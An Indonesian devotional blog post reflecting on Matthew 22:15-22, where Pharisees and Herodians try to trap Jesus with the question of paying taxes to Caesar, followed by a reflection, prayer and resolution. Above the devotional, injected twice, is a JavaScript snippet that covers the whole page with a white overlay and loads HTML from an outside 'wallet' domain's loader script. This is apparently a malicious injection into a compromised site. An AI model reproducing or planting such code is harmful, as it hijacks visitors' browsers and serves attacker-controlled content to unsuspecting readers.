YESUS DICOBAI LEWAT PERTANYAAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 22 Oktober 2023

Matius 22 : 15-22

Pengantar

Salah satu alasan utama orang-orang mencoba menjebak Yesus adalah karena mereka merasa terancam oleh pengajaran dan ajaran-Nya. Yesus mengajarkan prinsip-prinsip etika yang tinggi, cinta kasih, dan keadilan. Pengajaran-Nya sering kali mengkritik para pemimpin agama dan otoritas politik zaman itu. Mereka yang merasa kekuasaan dan otoritas mereka terancam mencoba mencari cara untuk mencemarkan nama baik-Nya atau menjebak- Nya agar ia dianggap sebagai pengajar palsu atau penjahat. Di samping itu, beberapa orang mencoba menjebak Yesus karena Yesus sering mengkritik praktik-praktik eksploitatif dan penyalahgunaan kekuasaan, termasuk dalam lingkup keagamaan. Beberapa pemimpin agama pada masa itu mencari cara untuk menjauhkan pengikut-pengikut Yesus dengan menciptakan situasi yang meragukan atau mengajukan pertanyaan yang sulit agar mereka dapat mencari dalih untuk menangkap-Nya.

Pemahaman

Ayat 15-17 : Apa tujuan pertanyaan orang Farisi dan Herodian?

Ayat 18-22 : Apa maksud dari jawaban Yesus?

Dalam upaya untuk menjebak Yesus, atau dalam bahasa aslinya disebut “pagideuo”, yang berarti menangkap dan tidak mungkin lolos, Yesus ditempatkan dalam situasi yang sulit juga apapun jawaban Yesus dapat digunakan untuk menuduh dan mencemarkan nama baik-Nya. Melalui peristiwa ini, Yesus menampilkan diri-Nya yang penuh dengan kebijaksanaan.

Pertanyaan di ayat ketujuh belas sesungguhnya memiliki latar belakang yang kuat bagi orang-orang Yahudi, yaitu Allah sebagai satu-satunya Raja dan Tuan atas kehidupan mereka. Dengan membayarkan pajak kepada kaisar, maka hal ini sangat bertentangan dengan prinsip yang dipakai oleh orang-orang Yahudi. Tercatat bahwa berdasarkan kebiasaan dalam kelompok-kelompok orang Yahudi, kelompok Zelot menolak membayar pajak. Kelompok Farisi membayar pajak secara terpaksa. Kelompok Saduki dan kelompok Herodian adalah kelompok yang membayar tanpa merasa keberatan.

Pada waktu itu, yang datang kepada Yesus adalah kelompok Farisi dan Herodian, sehingga apapun jawaban yang akan diberikan

Yesus pasti akan bertentangan dengan salah satu kelompok tersebut. Pertanyaan jebakan yang dapat menjerat Yesus dengan mudah lewat berbagai hukuman sesuka mereka. Yesus tahu bahwa Ia sedang dicobai. Menghadapi situasi tersebut, yesus menjawab dengan bijaksana. Yesus mengatakan “berikanlah kepada Kaisar apa yang wajib kamu berikan kepada kaisar dan kepada Allah apa yang wajib kamu berikan kepada Allah”.

Jawaban Yesus mengandung makna yang dalam. Yesus menyatakan bahwa orang harus memenuhi kewajibannya kepada pemerintah, termasuk membayar pajak kepada Kaisar, sesuai dengan tuntutan hukum dan kewajiban. Namun, Yesus juga mengingatkan bahwa setiap orang memiliki kewajiban Allah yang bukan hanya sekadar tentang uang. Yesus mengajarkan pentingnya memberikan respons kepada Allah dengan kasih, pengabdian, dan iman yang tulus. Dengan jawaban ini, Yesus berhasil menghindari perangkap para orang Farisi dan Herodian. Jawaban yang cerdas dan juga penuh dengan hikmat.

Refleksi

Salah satu tantangan yang dihadapi oleh Yesus adalah ketika Ia semakin mendapatkan pertentangan dan tidak disukai oleh orang- orang yang merasa terancam dan terganggu oleh kehadiran-Nya. Sekalipun Yesus membawa kebenaran Firman Tuhan, akan tetapi tidak semua orang mampu menerima kehadiran-Nya. Melalui pengalaman Yesus dicobai lewat pertanyaan ini, kita sadar bahwa semakin dewasa maka semakin banyak tantangan yang datang dan mencoba untuk menggeser kehadiran serta ketaatan kita kepada Tuhan. Akan tetapi, dalam kekuatan iman yang kita miliki maka sesungguhnya kita dimampukan untuk menjadi pribadi yang bijaksana dalam berpikir dan bertindak.

Tekadku                                                                   

Tuhan yang penuh kasih, ajarkan kami untuk menjadi pribadi yang penuh dengan kebijaksanaan sehingga kami mampu mengerjakan setiap tugas dan menghadapi setiap persoalan.

Tindakanku                                                              

Mulai saat ini, saya akan selalu mengutamakan Tuhan agar saya menjadi pribadi yang bijaksana dalam kehidupan sehari-hari.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *